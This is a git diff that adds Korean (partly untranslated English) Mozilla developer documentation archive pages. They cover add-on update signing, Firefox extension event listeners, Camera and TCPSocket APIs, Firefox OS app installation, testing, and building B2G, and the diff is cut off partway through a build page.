잘못된 인증서를 가진 사이트로 가는 https 링크나 http 사이트로 리디렉트하는 것은 <tt>update.rdf</tt>와 updateLink의 두 가지 경우에 모두 실패합니다.

+

업데이트 해시

+

다운로드한 XPI의 무결성을 확인하기 위하여 updateLink와 함께 updateHash 항목을 제공해야 합니다. 이 해시는 파일 데이터에 대하여 문자열 형식으로 생성해야 합니다. 문자열의 시작에 사용한 해시 알고리즘을 넣고 :으로 해시와 구별합니다.

+
  <em:updateHash>sha1:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e6</em:updateHash>
+
+

해시가 지정되면 다운로드한 파일을 해시와 비교하고 일치하지 않으면 오류를 표시합니다.

+

업데이트 선언 서명하기

+

+

업데이트 RDF를 일반 http로 제공하기를 원한다면, Gecko 1.9 기반의 애플리케이션에서는 업데이트 선언을 서명해야 합니다. 이는 해당 정보를 생성한 여러분과 그것을 추출하는 애플리케이션 사이에서 간섭이 없었다는 것을 확인하기 위한 것입니다. 업데이트 RDF를 서명하는 데에는 McCoy 도구를 사용해야 합니다.

+

서명 방식에 대한 기술적인 세부 사항은 이 문서의 범위를 벗어나지만 기본적인 사항은 다음과 같습니다.

+

부가 기능 작성자가 공개/개인 RSA 암호 키 쌍을 생성합니다.

+

공개키는 DER로 인코드된 후에 base 64로 인코드되어 부가 기능의 <tt>install.rdf</tt>에 updateKey 항목으로 추가됩니다.

+

작성자가 업데이트 RDF 파일을 생성할 때 도구를 사용하여 개인키로 서명합니다. 대략적으로 이야기하면, 업데이트 정보는 문자열로 변환되어 sha512 해시 알고리즘으로 해시되고 개인키로 이 해시를 서명합니다. 결과 데이터는 DER로 인코드하고 base 64로 인코드한 후 업데이트 RDF에 em:signature 항목으로 포함합니다.

diff --git a/files/ko/archive/add-ons/index.html b/files/ko/archive/add-ons/index.html new file mode 100644 index 0000000000..d1851bd7ee --- /dev/null +++ b/files/ko/archive/add-ons/index.html @@ -0,0 +1,8 @@ +--- +title: Add-ons +slug: Archive/Add-ons +translation_of: Archive/Add-ons +--- +

In progress. Archived add-ons documentation.

+ +

diff --git a/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html b/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html new file mode 100644 index 0000000000..96b33ef569 --- /dev/null +++ b/files/ko/archive/add-ons/listening_to_events_in_firefox_extensions/index.html @@ -0,0 +1,114 @@ +--- +title: Listening to events +slug: Archive/Add-ons/Listening_to_events_in_Firefox_extensions +translation_of: Archive/Add-ons/Listening_to_events_in_Firefox_extensions +--- +

Gecko는 사용자가 알기 원하는 흥미로운 것들에 대해 정보를 전달하기 위한 이벤트들을 사용합니다. 이벤트들은 여러 종류 를 가지지만, 이 문헌은 여러분이 그것들에 대해 배우고 여러분이 그것들에 대한 더 특정한 문서들을 직접적(쉽게)으로 접근하는데 도와 줄 것입니다. 또 이 문헌은 관심을 가질 만한 몇 가지 케이스를 제공합니다.

+

이벤트들의 타입들

+

개발자들은 어플리케이션과 확장기능 안에 포함된 콘텐트의 load와 그 변경에 대해 알기 위해, browsertabbrowser의 요소들로 부터의 알림을 받을 수 있는데 이것은 여러 이벤트들의 타입들로 가능합니다.

+

간단한 DOM 이벤트들

+

DOM 이벤트는 다음과 같은 코드로 등록할 수 있습니다:

+
function callback(evt) {
+  // Do your processing here. Check evt.target for the target of the event.
+}
+
+b.addEventListener("event", callback, false)
+
+

위에서 b는 여러분이 이벤트로부터 보기 원하는 browser 또는 tabbrowser 입니다. 명심해야 할것은 이벤트들은 browser의 프레임이나 또는 tabbrowser, 브라우저들의 안에 존재해야 될 것입니다.

+

아래 리스트는 여러분이 여러 상황을 모니터하기 원하는 좀 더 흥미로운 DOM 이벤트들입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이벤트설명
DOMLinkAdded새로운 HTML <link> 요소를 문서에서 감지했을 때 dispatch됩니다.
DOMTitleChanged페이지의 타이틀이 변경 되었을 때 dispatch됩니다.
DOMContentLoaded페이지의 초기 DOM이 완전히 로드되었을 때 dispatch됩니다.
loaddispatch된 후에 페이지가(이미지를 포함하여) 처음으로 로딩을 완료했을 때.
unload유저가 페이지로부터 떨어져 탐색할 때 dispatch됩니다.
pageshow페이지가 새롭게 표시되었을 때 dispacth됩니다.
pagehide페이지가 감춰졌을 때 dispatch됩니다.
+

load, unload, pageshow and pagehide 이벤트의 dispatch 유무에 대해서는 Firefox's caching behaviour의 기사에서 더 자세하게 다룹니다.

+

웹 progress의 listener들

+

웹 로드들의 자세한 내용을 보려면 web progress listener를 사용하면 됩니다. 이들은 웹에서 데이터 로드의 progress 상황에 대한 자세한 내용을 제공합니다. 아래는 browsertabbrowser를 요소들을 지원하는 코드입니다:

+
var progressListener = {
+  // add nsIWebProgressImplementation here
+}
+
+b.addProgressListener(progressListener);
+
+

위에서 b는 여러분이 이벤트들에 대해 litsen하기 원하는 browser 또는 tabbrowser 입니다. using web progress listeners의 링크는 코드 snippet의 더 자세한 사용 가능을 다룹니다.

+

tabbrowser는 오직 현재 이벤트가 발생할 때 표시하는 브라우저부터 이벤트들을 받을 수 있습니다. 모든 브라우저들로부터 이벤트들을 listen하기 위해서는 현재 이벤트에 대해 표시하지않는 코드를 포함하면 됩니다. 아래는 그 예를 설명합니다:

+
var tabsProgressListener = {
+  // add tabs progress listener implementation here
+}
+
+gBrowser.addTabsProgressListener(tabsProgressListener);
+
+

이렇게 하면 여러분은 모든 tab들과 관련된 이벤트들을 받을 수 있습니다. listening to events from all tabs 링크는 더 자세한 사용 가능을 다룹니다.

+

+

Firefox 3.5 note

+

모든 탭들로부터 이벤트들을 listen하는 능력은 Firefox 3.5. 버전에 포함 되었습니다.

+

+

파이어폭스에서는 이벤트들을 어떻게 처리하는가

+

파이어 폭스에서는 이미 어느 정도 progress 이벤트들을 웹 페이지들로 부터 listen합니다. 이 중 대부분은 browser로 가게됩니다.js.

+

DOMLinkHandler

+

DOMLinkHandler 오브젝트는 어떤 RSS 피드들이나 사이트 아이콘들, 또는 웹 사이트에 대한 오픈서치 플러그인을 감지하기 위한 DOMLinkAdded 이벤트라고 할 수 있습니다.

+

pageShowEventHandlers

+

pageShowEventHandlers() 함수는 메뉴에 문자세트를 삽입하거나 피드(feed)들을 감지 또는 웹 사이틀을 위한 오픈서치 플러그인과 관련된 UI 요소들의 업데이트 등의 pageshow 이벤트라고 할 수 있습니다.

+

XULBrowserWindow

+

이 오브젝트는 현재 브라우저에 표시되고 있는 이벤트들의 progress를 얻기 위한 nsIWebProgressListener입니다. 이 오브젝트는 아래와 같은 많은 이유로 UI를 업데이트하기 위해 사용합니다:

+ +

TabsProgressListener

+

이 오브젝트는 탭들의 progress listener 와 윈도우 안의 모든 브라우저에 대한 이벤트들을 받을 수 있습니다.  웹페이지가 새로고침을 시도할 때나 이를 저지하려는 시도를 사용자가 허락 할 때를 감지하는데 사용됩니다.

+

tabbrowser는 이벤트를 어떻게 처리하는가

+

tabbrowser는 두가지 모드 중 한가지로 실행됩니다. 처음에는 non-tabbed 모드로 시작하고 이 모드는 아래와 같은 상황이 발생하기 전까지 유지 됩니다.

+ +

Non-tabbed 모드

+

non-tabbed 모드에서, tabbrowser는 오직 하나의 탭만이 존재 할 수 있습니다. 이 모드에서는 단 하나의 web progress listener만이 브라우저로부터 progress 이벤트의 listen을 추가할 수있습니다. 첫째로 browser-status-filter를 만들고 브라우저에 대한 web progress listener를 추가 합니다. 다음은 브라우저로부터 모든 web progress 이벤트들을 받기 위한 내부 오브젝트를 만듭니다. 이는 mTabProgressListener() 메소드가 처리합니다. 이것은 browser-status-filte로부터 이벤트들을 받습니다. 필터 성능 향상을 위해 진행 상태 및 이벤트의 수를 줄이는 역할을 합니다. 필터들은 mTabListeners가 배열된 내부 listenermFilters의 배열로 도움을 받습니다. 내부 listener들은 progress 이벤트들을 addProgressListener() (현재 보이는 브라우저부터 받은 이벤트들)와 addTabsProgressListener() (모든 브라우저로부터 받은 이벤트들)가 지정된 listener들로 내보내게 됩니다.

+

 

+

또 보기

+ diff --git a/files/ko/archive/api/index.html b/files/ko/archive/api/index.html new file mode 100644 index 0000000000..5f78af9636 --- /dev/null +++ b/files/ko/archive/api/index.html @@ -0,0 +1,13 @@ +--- +title: API +slug: Archive/API +tags: + - API + - Archive + - NeedsTranslation + - TopicStub +translation_of: Archive/API +--- +

Archived documentation about obsolete web standards APIs.

+ +

Navigator
Features that used to hang off the Navigator interface, but have since been removed.

diff --git a/files/ko/archive/api/navigator/index.html b/files/ko/archive/api/navigator/index.html new file mode 100644 index 0000000000..1840171fcc --- /dev/null +++ b/files/ko/archive/api/navigator/index.html @@ -0,0 +1,8 @@ +--- +title: Navigator +slug: Archive/API/Navigator +translation_of: Archive/API/Navigator +--- +

In progress. Features that used to hang off the Navigator interface, but have since been removed.

+ +

diff --git a/files/ko/archive/apps/design/planning/index.html b/files/ko/archive/apps/design/planning/index.html new file mode 100644 index 0000000000..3a7e80993d --- /dev/null +++ b/files/ko/archive/apps/design/planning/index.html @@ -0,0 +1,23 @@ +--- +title: Planning +slug: Archive/Apps/Design/Planning +tags: + - Apps + - Design + - NeedsTranslation + - Planning + - TopicStub +translation_of: Archive/Apps/Design/Planning +--- +
+

이 문서들은 성공적인 웹 응용프로그램들을 기획하기 위한 정보들을 제공해줍니다.

+
+ +
+
응용프로그램 계획
+
응용프로그램을 계획하는 것부터 시작하세요.
+
일반 디자인 원칙
+
시작하기 위한 유용한 일반적인 디자인 원칙 목록
+
설치된 응용프로그램 고려
+
높은 수준의 고려사항입니다. 특히 Open Web App UX에서 교려해야 합니다.
+
diff --git a/files/ko/archive/apps/index.html b/files/ko/archive/apps/index.html new file mode 100644 index 0000000000..bd5392bac5 --- /dev/null +++ b/files/ko/archive/apps/index.html @@ -0,0 +1,14 @@ +--- +title: 응용 프로그램들 +slug: Archive/Apps +tags: + - Apps + - Firefox OS + - NeedsTranslation + - TopicStub + - Web +translation_of: Archive/Apps +--- +

This page includes archived content for Apps, including obsolete web app content, Firefox OS app-related content, etc.

+ +

열린 웹 응용프로그램들 설계하기
The items under this section apply generally to Web app design.

diff --git a/files/ko/archive/b2g_os/api/camera_api/index.html b/files/ko/archive/b2g_os/api/camera_api/index.html new file mode 100644 index 0000000000..d18716974b --- /dev/null +++ b/files/ko/archive/b2g_os/api/camera_api/index.html @@ -0,0 +1,38 @@ +--- +title: Camera API +slug: Archive/B2G_OS/API/Camera_API +tags: + - API + - Firefox OS + - Graphics + - NeedsTranslation + - Reference + - Référence(2) + - TopicStub + - WebAPI + - camera +translation_of: Archive/B2G_OS/API/Camera_API +--- +

+ +

+

Non-standard
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.

+

+ +

The Camera API allows applications to manage the camera of the device. It allows them to take photographs, record videos, and get information like the focus, the zoom, the white balance, the flash, … It is a priviledged API and can only be used by certified applications.

+ +

This API was initially only available to certified applications, but is available to privileged apps on Firefox 2.0 onwards.

+ +
+

Note: Except if you are implementing a replacement for the default Camera application, you shouldn't use this API. Instead, if you want to use the camera in your device, you should use the Web Activities API.

+
+ +

See also

+ + diff --git a/files/ko/archive/b2g_os/api/camera_api/introduction/index.html b/files/ko/archive/b2g_os/api/camera_api/introduction/index.html new file mode 100644 index 0000000000..1ea6d25a38 --- /dev/null +++ b/files/ko/archive/b2g_os/api/camera_api/introduction/index.html @@ -0,0 +1,247 @@ +--- +title: Introduction to the Camera API +slug: Archive/B2G_OS/API/Camera_API/Introduction +translation_of: Archive/B2G_OS/API/Camera_API/Introduction +--- +

+ +

Camera API 를 사용하면 디바이스의 카메라를 이용해 사진을 찍어 현재 웹페이지에 업로드하는것이 가능해집니다. This is achieved through an input element with type="file" and an accept attribute to declare that it accepts images. The HTML looks like this:

+ +
<input type="file" id="take-picture" accept="image/*">
+
+ +

When users choose to activate this HTML element, they are presented with an option to choose a file, where the device's camera is one of the options. If they select the camera, it goes into picture taking mode. After the picture has been taken, the user is presented with a choice to accept or discard it. If accepted, it gets sent to the <input type="file"> element and its onchange event is triggered.

+ +

Get a reference to the taken picture

+ +

With the help of the File API you can then access the taken picture or chosen file:

+ +
var takePicture = document.querySelector("#take-picture");
+takePicture.onchange = function (event) {
+    // Get a reference to the taken picture or chosen file
+    var files = event.target.files,
+        file;
+    if (files && files.length > 0) {
+        file = files[0];
+    }
+};
+
+ +

Presenting the picture in the web page

+ +

Once you have a reference to the taken picture (i.e., file), you can then use window.URL.createObjectURL() to create a URL referencing the picture and setting it as the src of an image:

+ +
// Image reference
+var showPicture = document.querySelector("#show-picture");
+
+// Create ObjectURL
+var imgURL = window.URL.createObjectURL(file);
+
+// Set img src to ObjectURL
+showPicture.src = imgURL;
+
+// For performance reasons, revoke used ObjectURLs
+URL.revokeObjectURL(imgURL);
+
+ +

If createObjectURL() isn't supported, an alternative is to fallback to FileReader:

+ +
// Fallback if createObjectURL is not supported
+var fileReader = new FileReader();
+fileReader.onload = function (event) {
+    showPicture.src = event.target.result;
+};
+fileReader.readAsDataURL(file);
+
+ +

Complete example

+ +

If you want to see it in action, take a look at the complete working Camera API example.

+ +

Here is the code used for that demo:

+ +

HTML page

+ +
<!DOCTYPE html>
+<html>
+    <head>
+        <meta charset="utf-8">
+        <title>Camera API</title>
+        <link rel="stylesheet" href="css/base.css" type="text/css" media="screen">
+    </head>
+
+    <body>
+
+        <div class="container">
+            <h1>Camera API</h1>
+
+            <section class="main-content">
+                <p>A demo of the Camera API, currently implemented in Firefox and Google Chrome on Android. Choose to take a picture with your device's camera and a preview will be shown through createObjectURL or a FileReader object (choosing local files supported too).</p>
+
+                <p>
+                    <input type="file" id="take-picture" accept="image/*">
+                </p>
+
+                <h2>Preview:</h2>
+                <p>
+                    <img src="about:blank" alt="" id="show-picture">
+                </p>
+
+                <p id="error"></p>
+
+            </section>
+
+            <p class="footer">All the code is available in the <a href="https://github.com/robnyman/robnyman.github.com/tree/master/camera-api">Camera API repository on GitHub</a>.</p>
+        </div>
+
+
+        <script src="js/base.js"></script>
+
+
+    </body>
+</html>
+
+ +

JavaScript file

+ +
(function () {
+    var takePicture = document.querySelector("#take-picture"),
+        showPicture = document.querySelector("#show-picture");
+
+    if (takePicture && showPicture) {
+        // Set events
+        takePicture.onchange = function (event) {
+            // Get a reference to the taken picture or chosen file
+            var files = event.target.files,
+                file;
+            if (files && files.length > 0) {
+                file = files[0];
+                try {
+                    // Create ObjectURL
+                    var imgURL = window.URL.createObjectURL(file);
+
+                    // Set img src to ObjectURL
+                    showPicture.src = imgURL;
+
+                    // Revoke ObjectURL
+                    URL.revokeObjectURL(imgURL);
+                }
+                catch (e) {
+                    try {
+                        // Fallback if createObjectURL is not supported
+                        var fileReader = new FileReader();
+                        fileReader.onload = function (event) {
+                            showPicture.src = event.target.result;
+                        };
+                        fileReader.readAsDataURL(file);
+                    }
+                    catch (e) {
+                        //
+                        var error = document.querySelector("#error");
+                        if (error) {
+                            error.innerHTML = "Neither createObjectURL or FileReader are supported";
+                        }
+                    }
+                }
+            }
+        };
+    }
+})();
+
+ +

Browser compatibility

+ +

We're converting our compatibility data into a machine-readable JSON format. + This compatibility table still uses the old format, + because we haven't yet converted the data it contains. + Find out how you can help!

+ +
+ + +

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Camera APINo supportNo supportNo supportNo supportNo support
createObjectURL()168.0 (8.0)10No supportNo support
FileReader163.6 (1.9.2)1011.6No support
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Camera API3.0(Yes)10.0 (10.0)No supportNo supportNo support
createObjectURL()4(Yes)10.0 (10.0)No supportNo supportNo support
FileReader3(Yes)10.0 (10.0)No support11.10No support
+
diff --git a/files/ko/archive/b2g_os/api/index.html b/files/ko/archive/b2g_os/api/index.html new file mode 100644 index 0000000000..9a3c418536 --- /dev/null +++ b/files/ko/archive/b2g_os/api/index.html @@ -0,0 +1,120 @@ +--- +title: B2G OS APIs +slug: Archive/B2G_OS/API +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/B2G_OS/API +--- +

+ +

This page lists all B2G OS-specific APIs.

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

diff --git a/files/ko/archive/b2g_os/api/tcpsocket/index.html b/files/ko/archive/b2g_os/api/tcpsocket/index.html new file mode 100644 index 0000000000..a9efe494eb --- /dev/null +++ b/files/ko/archive/b2g_os/api/tcpsocket/index.html @@ -0,0 +1,102 @@ +--- +title: TCPSocket +slug: Archive/B2G_OS/API/TCPSocket +translation_of: Archive/B2G_OS/API/TCPSocket +--- +

+ +

+

This API is available on Firefox OS for privileged or certified applications only.

+

+ +

요약

+ +

The TCPSocket interface provides access to a raw TCP socket.

+ +

The main entry point for this API is the navigator.mozTCPSocket property which is a TCPSocket object.

+ +
+

참고: 인증 된 앱만 1024보다 작은 포트에서 들어오는 연결을 허용 할 수 있습니다.

+
+ +

API 개요

+ +
interface TCPSocket{
+  readonly attribute DOMString host;
+  readonly attribute unsigned short port;
+  readonly attribute boolean ssl;
+  readonly attribute unsigned long bufferedAmount;
+  readonly attribute DOMString binaryType;
+  readonly attribute DOMString readyState;
+
+  TCPSocket open(DOMString host, unsigned short port, [object options]);
+  TCPServerSocket listen(unsigned short port, [object options, [unsigned short backlog]]);
+  void upgradeToSecure();
+  void suspend();
+  void resume();
+  void close();
+  boolean send(in jsval data);
+
+  attribute onopen;
+  attribute ondrain;
+  attribute ondata;
+  attribute onerror;
+  attribute onclose;
+};
+ +

속성

+ +
+
TCPSocket.host Read only
+
A string representing the host name of the server the socket is connected to.
+
TCPSocket.port Read only
+
A number representing the port the socket is connected to.
+
TCPSocket.ssl Read only
+
A boolean indicating whether the socket is encrypted with SSL (true) or not (false).
+
TCPSocket.bufferedAmount Read only
+
The number of bytes of not-yet-sent data in the socket buffered.
+
TCPSocket.binaryType Read only
+
The type of data used. Possible value is arraybuffer or string.
+
TCPSocket.readyState Read only
+
The socket state. Possible value is connecting, open, closing, or closed.
+
+ +

이벤트 핸들러

+ +
+
TCPSocket.onopen
+
A handler for the open event. After this event, the socket is ready to send and receive data.
+
TCPSocket.ondrain
+
A handler for the drain event. This event is triggered each time the buffer of data is flushed.
+
TCPSocket.onerror
+
A handler for the error event.
+
TCPSocket.ondata
+
A handler for the data event. This event is triggered each time data has been received.
+
TCPSocket.onclose
+
A handler for the close event.
+
+ +

메소드

+ +
+
TCPSocket.close()
+
Closes the connection.
+
TCPSocket.open(host, port [, options])
+
Returns a new TCPSocket object connected to the given host at the given port.
+
TCPSocket.resume()
+
Resumes the data events.
+
TCPSocket.send(data)
+
Buffers data to be sent across the network.
+
TCPSocket.suspend()
+
데이터 이벤트를 일시 정지합니다.
+
+ +

Specification

+ +

아직 사양에 포함되어 있지 않습니다. 그러나이 API는 W3C에서 TCP 및 UDP Socket API (이전에는 Raw Sockets API) 제안에 따라 시스템 응용 프로그램 작업 그룹의 일부로 논의되었습니다.

+ +

관련항목

+ + diff --git a/files/ko/archive/b2g_os/application_development/index.html b/files/ko/archive/b2g_os/application_development/index.html new file mode 100644 index 0000000000..2f961c72d6 --- /dev/null +++ b/files/ko/archive/b2g_os/application_development/index.html @@ -0,0 +1,12 @@ +--- +title: Firefox OS 앱 개발 +slug: Archive/B2G_OS/Application_development +translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS +--- +

Firefox OS에서 사용하는 애플리케이션은 오픈 웹 앱을 휴대폰에 설치할 수 있게 해 주는 것입니다. 아래 문서를 참고하세요.

+ +
+ 주의: Firefox OS의 현재 User-Agent 스트링은 Android;만 빠진 모바일 버전과 동일 합니다. 예: Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0a1.
diff --git a/files/ko/archive/b2g_os/apps/index.html b/files/ko/archive/b2g_os/apps/index.html new file mode 100644 index 0000000000..76095d479d --- /dev/null +++ b/files/ko/archive/b2g_os/apps/index.html @@ -0,0 +1,57 @@ +--- +title: Creating Apps for Firefox OS +slug: Archive/B2G_OS/Apps +tags: + - Apps + - B2G + - Firefox OS + - NeedsTranslation + - TopicStub +translation_of: Web/Apps/Fundamentals +--- +

Applications for Firefox OS devices are simply open Web apps; they consist entirely of open Web technologies such as JavaScript, HTML, and CSS. While our primary documentation for apps covers nearly everything you need to know, there are a few documents specific to developing and testing for Firefox OS that are presented here.

+
+
+

Documentation and tutorials

+
+
+ Writing a web app for Firefox OS
+
+ A tutorial to creating your first web application for Firefox OS.
+
+ Tips and techniques
+
+ An assortment of tips and tricks (as well as workarounds for problems) that our developers have suggested for you!
+
+

View All...

+
+
+

Getting help from the community

+

You need help on an app-related problem and can't find the solution in the documentation?

+ +

Don't forget about the netiquette...

+

Tools

+ +

View All...

+ + +
+
+

 

diff --git a/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html b/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html new file mode 100644 index 0000000000..d5d3be42e1 --- /dev/null +++ b/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html @@ -0,0 +1,25 @@ +--- +title: Writing a web app for Firefox OS +slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS +translation_of: Web/Apps/Fundamentals/Quickstart +--- +

B2G 앱은 HTML, CSS, Javascript 로 작성된 웹앱입니다. 다른 일반적인 웹 사이트를 공개하는 것과 같이 웹 상에 배포할 수 있습니다. 웹 사이트를 단말에 웹앱으로 설치 가능하게 하려면, 아래 설명에 따라 매니페스트를 꾸며야하고 설치 버튼과 연결해야 합니다.

+

우선 아래의 기사를 먼저 읽는 것을 추천합니다.

+ +

물론, Open Web Apps 에 대해 보다 깊게 배우기도 좋을 것입니다.

+

Installing the Web app

+

앱과 매니페스트를 웹 상에 배포한 뒤, Gecko 에 인식시킬 필요가 있습니다. 설치 시, Gecko 는 매니페스트의 내용을 읽고 홈 화면에 아이콘을 추가하는 등 필요한 처리를 합니다.

+

앱을 인스톨하려면, navigator.mozApps.install API 를 호출해야합니다. 아래는 앱을 스스로 배포하는 경우 앱에 포함되는 설치 버튼에 대한 예제입니다.

+
<script>
+var manifest_url = "http://my.webapp.com/manifest.json";
+</script>
+
+<button onclick="navigator.mozApps.install(manifest_url); return false;">
+  Install this awesome app on your homescreen!
+</button>
+
+

Note: 설치 버튼은 Firefox Marketplace 와 같은 앱 마켓에서 찾을 수 있습니다. 그러나 사이트의 메인 페이지에 "Install as web app" 버튼이 있다면 아주 편리할 것입니다.

+

이제 B2G 브라우저 앱으로 웹 사이트에 방문하고 인스톨 버튼을 눌러보세요.

diff --git a/files/ko/archive/b2g_os/automated_testing/index.html b/files/ko/archive/b2g_os/automated_testing/index.html new file mode 100644 index 0000000000..a03dba9376 --- /dev/null +++ b/files/ko/archive/b2g_os/automated_testing/index.html @@ -0,0 +1,84 @@ +--- +title: Firefox OS 테스트 +slug: Archive/B2G_OS/Automated_testing +tags: + - 테스팅 +translation_of: Archive/B2G_OS/Automated_testing +--- +

+

Firefox OS는 아직 개발중이지만 조만간 새로운 하드웨어도 지원하게 될 것이기에, 테스트를 하는 방법을 아는 게 중요합니다. 이 페이지는 Firefox OS를 테스트 하는 다양한 방법에 대한 정보를 제공하는 문서들로의 링크들을 제공합니다.

+ + + + + + + +
+

유닛 테스트

+ +
+
+

다양한 테스팅 관련 논의

+
+
+ OpenGL 디버깅
+
+ Firefox OS에서 OpenGL 코드를 디버깅 하는 방법.
+
+ 지원 기능 목록
+
+ Firefox OS의 빌드 별로 지원하는 기능들의 목록.
+
+

Firefox OS를 위한 Marionette

+ +

Gaia Tests

+ +

Marionette 튜토리얼

+ +

Marionette용 테스트 작성하기

+ +

모두 표시...

+
+

커뮤니티에서 도움 받기

+

Firefox OS로 일을 하거나 Firefox OS가 설치된 기기 위에 올라갈 어플리케이션을 개발 중이라면, 도움을 받을 수 있는 커뮤니티가 많이 있습니다!

+ +
    +
  • Mozilla IRC 채널에 질문을 할 수 있습니다: #b2g
  • +
+

질문 할 땐 예의를 잊지 말아 주세요...

+
+ + +
+

 

diff --git a/files/ko/archive/b2g_os/building/index.html b/files/ko/archive/b2g_os/building/index.html new file mode 100644 index 0000000000..87f6b1fff6 --- /dev/null +++ b/files/ko/archive/b2g_os/building/index.html @@ -0,0 +1,125 @@ +--- +title: Firefox OS 빌드하기 +slug: Archive/B2G_OS/Building +translation_of: Archive/B2G_OS/Building +--- +
+
+
+ 중요: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+

빌드환경 설정코드 복사 및 초기 환경 설정이 완료 되고 나면, Boot to Gecko를 시작 할 수 있습니다.

+

최신 코드로 업데이트

+

B2G빌드가 처음이 아닐 경우, 빌드를 시작하기 전에 최신 코드를 가져 오고 싶다면 아래와 같이 빌드용 툴과 코드를 최신으로 업데이트 하실 수 있습니다.

+
git pull
+./repo sync
+
+

원하는 repository의 이름만 입력 함으로서 부분적으로 업데이트도 가능합니다.

+
./repo sync gaia
+
+

"repo"의 다른 옵션들에 관심이 있다면 "repo help"를 입력 해 보세요.

+

빌드하기

+
+

주의: 빌드 하기 전에, 빌드 환경을 개조 하려면 .userconfig파일을 수정하시면 됩니다.  .userconfig 파일 개조하기를 참고하세요.

+
+

아래와 같이 입력하면 B2G를 빌드 하실 수 있습니다.

+
cd B2G
+./build.sh
+
+

이번 과정 또한 수행 시간이 많이(2시간 이상)걸리므로 잠깐 다른 일을 처리 하셔도 됩니다. As in the configure step on the previous page, if you are using a directory of previously-extracted Android system files, you should set ANDROIDFS_DIR before running build.sh.

+

특정 모듈 빌드하기

+

Gecko와 같은 특정 모듈만 빌드하려면 아래와 같습니다.

+
./build.sh gecko
+
+

특정 애플리케이션 하나만 빌드하려면, 아래와 같이 환경 변수 BUILD_APP_NAME에 "gaia"를 설정 하여 gaia만 빌드 하실 수 있습니다.

+
BUILD_APP_NAME=calendar ./build.sh gaia
+

빌드 가능한 모듈을 확인 하고 싶으시면 아래와 같이 수행 하십시오.

+
./build.sh modules
+
+

빌드에 사용되는 코어 갯수 변경

+

기본적으로, B2G 빌드 스크립트는 시스템이 가진 코어보다 2개 더 많은 수로 병렬 빌드를 진행 합니다. "build.sh" 수행시 -j 파라미터를 통해 그 갯수를 변경 하실 수 있습니다. 이를 통해 빌드 시스템의 CPU로드를 조정하실 수 있습니다. 빌드에서 에러가 발생하면 병렬 빌드의 경우 에러 가 복잡하게 보이므로 코어 갯수를 줄이거나 하나로 한다면 빌드 에러 추적이 용이합니다.

+

아래는 2개의 코어로 설정하여 빌드하는 예입니다.

+
./build.sh -j2
+
+

빌드 에러가 발생시는 아래처럼 1개의 코어로 할 경우 에러 결과를 읽고 분석하기 용이 합니다.

+
./build.sh -j1
+
+

다국어 빌드하기

+

다국어 지원하도록 한다면:

+

Gaia

+
    +
  1. 먼저 어떤 언어를 지원할 것인지 정하시고. 현재는 locales/languages_dev.jsonlocales/languages_all.json가 Gaia의 언어 설정 관련 파일로 사용됩니다.
  2. +
  3. http://hg.mozilla.org/gaia-l10n에서 지원하고자 하는 언어를 가져옵니다. 언어 파일에 리스트 된 각 언어를 가져 오려면 "repo"를 사용해야 합니다.
  4. +
  5. 환경 설정으로, set LOCALE_BASEDIR에 위의 2번에서 가져온 파일 절대 경로를 설정합니다. LOCALES_FILE을 1번 설정의 절대 경로로 설정합니다.
  6. +
+

예를 들면,

+
export LOCALE_BASEDIR=$PWD/gaia-l10n
+export LOCALES_FILE=$PWD/gecko/gaia/shared/resources/languages-dev.json
+
+

Gecko

+
    +
  1. Determine which Gecko languages file to use. We're currently using b2g/locales/all-locales as our Gecko languages file.
  2. +
  3. Clone the appropriate locales into a directory; this can be gecko-l10n/ . + +
  4. +
  5. Clone compare-locales.
  6. +
  7. +

    In your environment, set L10NBASEDIR to the absolute path of the directory in step 2. Set MOZ_CHROME_MULTILOCALE to a string of space-delimited locales from step 1.

    +

    Add the compare-locales/scripts dir to your PATH, and compare-locales/lib to your PYTHONPATH.

    + For instance, +
    export L10NBASEDIR=$PWD/gecko-l10n
    +export MOZ_CHROME_MULTILOCALE="ja zh-TW"
    +export PATH="$PATH:$PWD/compare-locales/scripts"
    +export PYTHONPATH="$PWD/compare-locales/lib"
    +
    +

    Once you have the above set up, you can run build.sh .

    +

    It looks like you can use .userconfig as well.

    +

    These instructions may change as we smooth things out.

    +

    Known errors

    +
      +
    • +

      KeyedVector.h:193:31: error: indexOfKey was not declared in this scope

      +
    • +
    +

    This error appears when your gcc version is too recent. Install gcc/g++/g++-multilib 4.6.x versions.

    +

    See Customizing with the .userconfig file for more information.

    +
    +

    Community Note: It is possible to use gcc 4.7.x with slight modifications to the B2G code (gcc will guide you) but you won't get any help! Neither with modifying the code nor with bugs you encounter.

    +
    +
      +
    • +

      arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)

      +
    • +
    +

    If you see this message, it most likely means that are lacking of free memory. Ensure having enough free memory before running ./build.sh. It should run fine if you system has 4GB of ram.

    +
      +
    • +

      If you get build errors while the build system is running tests

      +
    • +
    +

    Sometimes (especially after build tool or operating system updates) you'll get weird errors like this when the build system runs its post-build tests:

    +
    Generating permissions.sqlite...
    +test -d profile || mkdir -p profile
